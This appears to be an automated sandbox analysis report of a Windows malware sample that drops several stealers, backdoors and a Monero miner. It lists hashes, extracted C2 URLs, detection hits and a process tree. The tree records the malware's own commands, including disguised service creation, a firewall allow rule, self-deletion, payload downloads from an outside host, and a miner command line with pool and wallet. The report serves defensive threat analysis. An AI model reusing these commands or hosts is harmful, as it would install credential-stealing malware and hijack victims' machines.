arkei | 60fa81403147d644a4b0707eb855e1c1d90954735ed134d254c413015f2dd96b

Analysis

max time kernel
151s
max time network
152s
platform
windows10_x64
resource
win10-en-20211208
submitted
09/01/2022, 19:12

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General

Target

60fa81403147d644a4b0707eb855e1c1d90954735ed134d254c413015f2dd96b.exe
Size

290KB
MD5

8e61e663bc84142fd7a5190b7303e9a2
SHA1

8d8d7e1342520362c9df413540f811812a5b2de4
SHA256

60fa81403147d644a4b0707eb855e1c1d90954735ed134d254c413015f2dd96b
SHA512

d871d697c9f7225c5d54e20a6e8de981736d706be022487b43609df77788d481a8df381cc791b940e77928e8eced6387a76940c2af770084b9a9cdd3d5e906f4

Score

10^/10

arkei loaderbot raccoon smokeloader tofsee backdoor collection discovery evasion loader miner persistence spyware stealer suricata trojan upx

Malware Config

Extracted

Family

smokeloader

Version

2020

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32

Extracted

Family

tofsee

patmushta.info

parubey.info

Extracted

Family

raccoon

Version

1.8.4-hotfixs

rc4.plain

Signatures

Arkei
Arkei is an infostealer written in C++.
stealer arkei
LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
loader miner loaderbot
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3384 created 1044	3384	WerFault.exe	97

Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
trojan tofsee
Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata
suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)
suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata

Arkei Stealer Payload 5 IoCs

stealer

resource	yara_rule
behavioral1/memory/524-132-0x0000000000400000-0x0000000002B86000-memory.dmp	family_arkei
behavioral1/memory/628-213-0x0000000000900000-0x0000000000CBF000-memory.dmp	family_arkei
behavioral1/memory/628-214-0x0000000000900000-0x0000000000CBF000-memory.dmp	family_arkei
behavioral1/memory/628-215-0x0000000000900000-0x0000000000CBF000-memory.dmp	family_arkei
behavioral1/memory/628-216-0x0000000000900000-0x0000000000CBF000-memory.dmp	family_arkei

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

LoaderBot executable 1 IoCs

resource	yara_rule
behavioral1/memory/1220-317-0x0000000000DE0000-0x000000000123B000-memory.dmp	loaderbot

Blocklisted process makes network request 1 IoCs

flow	pid	Process
146	2700	WScript.exe

Creates new service(s) 1 TTPs
persistence

New Service
T1050
Downloads MZ/PE file

Executes dropped EXE 22 IoCs

pid	Process
3440	3748.exe
524	5745.exe
2684	64C3.exe
1428	6FD0.exe
1248	exrdnjyx.exe
2088	6FD0.exe
3500	DC66.exe
3736	DC66.exe
628	EF72.exe
1044	A0F.exe
1152	2C7D.exe
1380	4B9F.exe
2068	5B4F.exe
2720	extd.exe
3820	extd.exe
744	setup1.exe
792	extd.exe
1184	setup2.exe
3208	extd.exe
1220	setup3.exe
1792	extd.exe
1628	Driver.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000700000001ab4c-277.dat	upx
behavioral1/files/0x000700000001ab4c-278.dat	upx
behavioral1/files/0x000700000001ab4c-282.dat	upx
behavioral1/files/0x000700000001ab4c-291.dat	upx
behavioral1/files/0x000700000001ab4c-299.dat	upx
behavioral1/files/0x000700000001ab4c-326.dat	upx

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	EF72.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	EF72.exe

Deletes itself 1 IoCs

pid	Process
2084	Process not Found

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	setup3.exe

Loads dropped DLL 3 IoCs

pid	Process
628	EF72.exe
628	EF72.exe
628	EF72.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Windows\CurrentVersion\Run\Steam = "C:\\Users\\Admin\\AppData\\Roaming\\NVIDIA\\dllhost.exe"	setup2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\setup3.exe"	setup3.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	EF72.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

pid	Process
628	EF72.exe
628	EF72.exe
1380	4B9F.exe
1184	setup2.exe
1220	setup3.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2520 set thread context of 3768	2520	60fa81403147d644a4b0707eb855e1c1d90954735ed134d254c413015f2dd96b.exe	68
PID 1248 set thread context of 3960	1248	exrdnjyx.exe	88
PID 1428 set thread context of 2088	1428	6FD0.exe	87
PID 3500 set thread context of 3736	3500	DC66.exe	95

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
3384	1044	WerFault.exe	97
4088	744	WerFault.exe	111

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DC66.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	60fa81403147d644a4b0707eb855e1c1d90954735ed134d254c413015f2dd96b.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	60fa81403147d644a4b0707eb855e1c1d90954735ed134d254c413015f2dd96b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3748.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3748.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3748.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DC66.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DC66.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	60fa81403147d644a4b0707eb855e1c1d90954735ed134d254c413015f2dd96b.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EF72.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	EF72.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3312	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings	cmd.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	146	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3768	60fa81403147d644a4b0707eb855e1c1d90954735ed134d254c413015f2dd96b.exe
3768	60fa81403147d644a4b0707eb855e1c1d90954735ed134d254c413015f2dd96b.exe
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2084	Process not Found

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
636	Process not Found

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
3768	60fa81403147d644a4b0707eb855e1c1d90954735ed134d254c413015f2dd96b.exe
3440	3748.exe
2084	Process not Found
2084	Process not Found
2084	Process not Found
2084	Process not Found
3736	DC66.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1428	6FD0.exe
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeDebugPrivilege	2088	6FD0.exe
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeDebugPrivilege	1152	2C7D.exe
Token: SeRestorePrivilege	3384	WerFault.exe
Token: SeBackupPrivilege	3384	WerFault.exe
Token: SeDebugPrivilege	3384	WerFault.exe
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeShutdownPrivilege	2084	Process not Found
Token: SeCreatePagefilePrivilege	2084	Process not Found
Token: SeDebugPrivilege	4088	WerFault.exe
Token: SeShutdownPrivilege	2084	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2520 wrote to memory of 3768	2520	60fa81403147d644a4b0707eb855e1c1d90954735ed134d254c413015f2dd96b.exe	68
PID 2520 wrote to memory of 3768	2520	60fa81403147d644a4b0707eb855e1c1d90954735ed134d254c413015f2dd96b.exe	68
PID 2520 wrote to memory of 3768	2520	60fa81403147d644a4b0707eb855e1c1d90954735ed134d254c413015f2dd96b.exe	68
PID 2520 wrote to memory of 3768	2520	60fa81403147d644a4b0707eb855e1c1d90954735ed134d254c413015f2dd96b.exe	68
PID 2520 wrote to memory of 3768	2520	60fa81403147d644a4b0707eb855e1c1d90954735ed134d254c413015f2dd96b.exe	68
PID 2520 wrote to memory of 3768	2520	60fa81403147d644a4b0707eb855e1c1d90954735ed134d254c413015f2dd96b.exe	68
PID 2084 wrote to memory of 3440	2084	Process not Found	70
PID 2084 wrote to memory of 3440	2084	Process not Found	70
PID 2084 wrote to memory of 3440	2084	Process not Found	70
PID 2084 wrote to memory of 524	2084	Process not Found	71
PID 2084 wrote to memory of 524	2084	Process not Found	71
PID 2084 wrote to memory of 524	2084	Process not Found	71
PID 2084 wrote to memory of 2684	2084	Process not Found	72
PID 2084 wrote to memory of 2684	2084	Process not Found	72
PID 2084 wrote to memory of 2684	2084	Process not Found	72
PID 2084 wrote to memory of 1428	2084	Process not Found	73
PID 2084 wrote to memory of 1428	2084	Process not Found	73
PID 2084 wrote to memory of 1428	2084	Process not Found	73
PID 2684 wrote to memory of 2172	2684	64C3.exe	74
PID 2684 wrote to memory of 2172	2684	64C3.exe	74
PID 2684 wrote to memory of 2172	2684	64C3.exe	74
PID 2684 wrote to memory of 3636	2684	64C3.exe	76
PID 2684 wrote to memory of 3636	2684	64C3.exe	76
PID 2684 wrote to memory of 3636	2684	64C3.exe	76
PID 2684 wrote to memory of 2576	2684	64C3.exe	78
PID 2684 wrote to memory of 2576	2684	64C3.exe	78
PID 2684 wrote to memory of 2576	2684	64C3.exe	78
PID 2684 wrote to memory of 1180	2684	64C3.exe	80
PID 2684 wrote to memory of 1180	2684	64C3.exe	80
PID 2684 wrote to memory of 1180	2684	64C3.exe	80
PID 2684 wrote to memory of 2560	2684	64C3.exe	82
PID 2684 wrote to memory of 2560	2684	64C3.exe	82
PID 2684 wrote to memory of 2560	2684	64C3.exe	82
PID 2684 wrote to memory of 1480	2684	64C3.exe	85
PID 2684 wrote to memory of 1480	2684	64C3.exe	85
PID 2684 wrote to memory of 1480	2684	64C3.exe	85
PID 1428 wrote to memory of 2088	1428	6FD0.exe	87
PID 1428 wrote to memory of 2088	1428	6FD0.exe	87
PID 1428 wrote to memory of 2088	1428	6FD0.exe	87
PID 1248 wrote to memory of 3960	1248	exrdnjyx.exe	88
PID 1248 wrote to memory of 3960	1248	exrdnjyx.exe	88
PID 1248 wrote to memory of 3960	1248	exrdnjyx.exe	88
PID 1248 wrote to memory of 3960	1248	exrdnjyx.exe	88
PID 1248 wrote to memory of 3960	1248	exrdnjyx.exe	88
PID 1428 wrote to memory of 2088	1428	6FD0.exe	87
PID 1428 wrote to memory of 2088	1428	6FD0.exe	87
PID 1428 wrote to memory of 2088	1428	6FD0.exe	87
PID 1428 wrote to memory of 2088	1428	6FD0.exe	87
PID 1428 wrote to memory of 2088	1428	6FD0.exe	87
PID 2084 wrote to memory of 3872	2084	Process not Found	92
PID 2084 wrote to memory of 3872	2084	Process not Found	92
PID 2084 wrote to memory of 3872	2084	Process not Found	92
PID 2084 wrote to memory of 3872	2084	Process not Found	92
PID 2084 wrote to memory of 3532	2084	Process not Found	93
PID 2084 wrote to memory of 3532	2084	Process not Found	93
PID 2084 wrote to memory of 3532	2084	Process not Found	93
PID 2084 wrote to memory of 3500	2084	Process not Found	94
PID 2084 wrote to memory of 3500	2084	Process not Found	94
PID 2084 wrote to memory of 3500	2084	Process not Found	94
PID 3500 wrote to memory of 3736	3500	DC66.exe	95
PID 3500 wrote to memory of 3736	3500	DC66.exe	95
PID 3500 wrote to memory of 3736	3500	DC66.exe	95
PID 3500 wrote to memory of 3736	3500	DC66.exe	95
PID 3500 wrote to memory of 3736	3500	DC66.exe	95

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Users\Admin\AppData\Local\Temp\60fa81403147d644a4b0707eb855e1c1d90954735ed134d254c413015f2dd96b.exe
"C:\Users\Admin\AppData\Local\Temp\60fa81403147d644a4b0707eb855e1c1d90954735ed134d254c413015f2dd96b.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2520
- C:\Users\Admin\AppData\Local\Temp\60fa81403147d644a4b0707eb855e1c1d90954735ed134d254c413015f2dd96b.exe
  "C:\Users\Admin\AppData\Local\Temp\60fa81403147d644a4b0707eb855e1c1d90954735ed134d254c413015f2dd96b.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:3768

C:\Users\Admin\AppData\Local\Temp\3748.exe
C:\Users\Admin\AppData\Local\Temp\3748.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:3440

C:\Users\Admin\AppData\Local\Temp\5745.exe
C:\Users\Admin\AppData\Local\Temp\5745.exe
1⤵
- Executes dropped EXE
PID:524

C:\Users\Admin\AppData\Local\Temp\64C3.exe
C:\Users\Admin\AppData\Local\Temp\64C3.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2684
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fsfqhvsd\
  2⤵
  PID:2172
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\exrdnjyx.exe" C:\Windows\SysWOW64\fsfqhvsd\
  2⤵
  PID:3636
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" create fsfqhvsd binPath= "C:\Windows\SysWOW64\fsfqhvsd\exrdnjyx.exe /d\"C:\Users\Admin\AppData\Local\Temp\64C3.exe\"" type= own start= auto DisplayName= "wifi support"
  2⤵
  PID:2576
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" description fsfqhvsd "wifi internet conection"
  2⤵
  PID:1180
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" start fsfqhvsd
  2⤵
  PID:2560
- C:\Windows\SysWOW64\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
  2⤵
  PID:1480

C:\Users\Admin\AppData\Local\Temp\6FD0.exe
C:\Users\Admin\AppData\Local\Temp\6FD0.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1428
- C:\Users\Admin\AppData\Local\Temp\6FD0.exe
  C:\Users\Admin\AppData\Local\Temp\6FD0.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2088

C:\Windows\SysWOW64\fsfqhvsd\exrdnjyx.exe
C:\Windows\SysWOW64\fsfqhvsd\exrdnjyx.exe /d"C:\Users\Admin\AppData\Local\Temp\64C3.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1248
- C:\Windows\SysWOW64\svchost.exe
  svchost.exe
  2⤵
  PID:3960

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:3872

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3532

C:\Users\Admin\AppData\Local\Temp\DC66.exe
C:\Users\Admin\AppData\Local\Temp\DC66.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3500
- C:\Users\Admin\AppData\Local\Temp\DC66.exe
  C:\Users\Admin\AppData\Local\Temp\DC66.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:3736

C:\Users\Admin\AppData\Local\Temp\EF72.exe
C:\Users\Admin\AppData\Local\Temp\EF72.exe
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
PID:628
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\EF72.exe" & exit
  2⤵
  PID:920
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3312

C:\Users\Admin\AppData\Local\Temp\A0F.exe
C:\Users\Admin\AppData\Local\Temp\A0F.exe
1⤵
- Executes dropped EXE
PID:1044
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1044 -s 872
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - Program crash
  - Suspicious use of AdjustPrivilegeToken
  PID:3384

C:\Users\Admin\AppData\Local\Temp\2C7D.exe
C:\Users\Admin\AppData\Local\Temp\2C7D.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1152

C:\Users\Admin\AppData\Local\Temp\4B9F.exe
C:\Users\Admin\AppData\Local\Temp\4B9F.exe
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1380

C:\Users\Admin\AppData\Local\Temp\5B4F.exe
C:\Users\Admin\AppData\Local\Temp\5B4F.exe
1⤵
- Executes dropped EXE
PID:2068
- C:\Windows\System32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\5BE2.tmp\5BE3.tmp\5BE4.bat C:\Users\Admin\AppData\Local\Temp\5B4F.exe"
  2⤵
  - Modifies registry class
  PID:2000
- - C:\Users\Admin\AppData\Local\Temp\5BE2.tmp\5BE3.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\5BE2.tmp\5BE3.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:2720
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\12395\123.vbs"
    3⤵
    - Blocklisted process makes network request
    PID:2700
- - C:\Users\Admin\AppData\Local\Temp\5BE2.tmp\5BE3.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\5BE2.tmp\5BE3.tmp\extd.exe "/download" "http://a0617224.xsph.ru/1.exe" "setup1.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3820
- - C:\Users\Admin\AppData\Local\Temp\12395\setup1.exe
    setup1.exe
    3⤵
    - Executes dropped EXE
    PID:744
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 744 -s 412
      4⤵
      Program crash
      Suspicious use of AdjustPrivilegeToken
      PID:4088
- - C:\Users\Admin\AppData\Local\Temp\5BE2.tmp\5BE3.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\5BE2.tmp\5BE3.tmp\extd.exe "/download" "http://a0617224.xsph.ru/2.exe" "setup2.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:792
- - C:\Users\Admin\AppData\Local\Temp\12395\setup2.exe
    setup2.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:1184
- - C:\Users\Admin\AppData\Local\Temp\5BE2.tmp\5BE3.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\5BE2.tmp\5BE3.tmp\extd.exe "/download" "http://a0617224.xsph.ru/3.exe" "setup3.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3208
- - C:\Users\Admin\AppData\Local\Temp\12395\setup3.exe
    setup3.exe
    3⤵
    - Executes dropped EXE
    - Drops startup file
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:1220
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1628
- - C:\Users\Admin\AppData\Local\Temp\5BE2.tmp\5BE3.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\5BE2.tmp\5BE3.tmp\extd.exe "" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:1792

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

New Service

T1050

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

New Service

T1050

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

memory/524-132-0x0000000000400000-0x0000000002B86000-memory.dmp

Filesize
39.5MB

Download
memory/524-131-0x0000000002CD0000-0x0000000002E1A000-memory.dmp

Filesize
1.3MB

Download
memory/524-130-0x0000000002CD0000-0x0000000002E1A000-memory.dmp

Filesize
1.3MB

Download
memory/628-204-0x0000000000900000-0x0000000000CBF000-memory.dmp

Filesize
3.7MB

Download
memory/628-207-0x0000000000900000-0x0000000000CBF000-memory.dmp

Filesize
3.7MB

Download
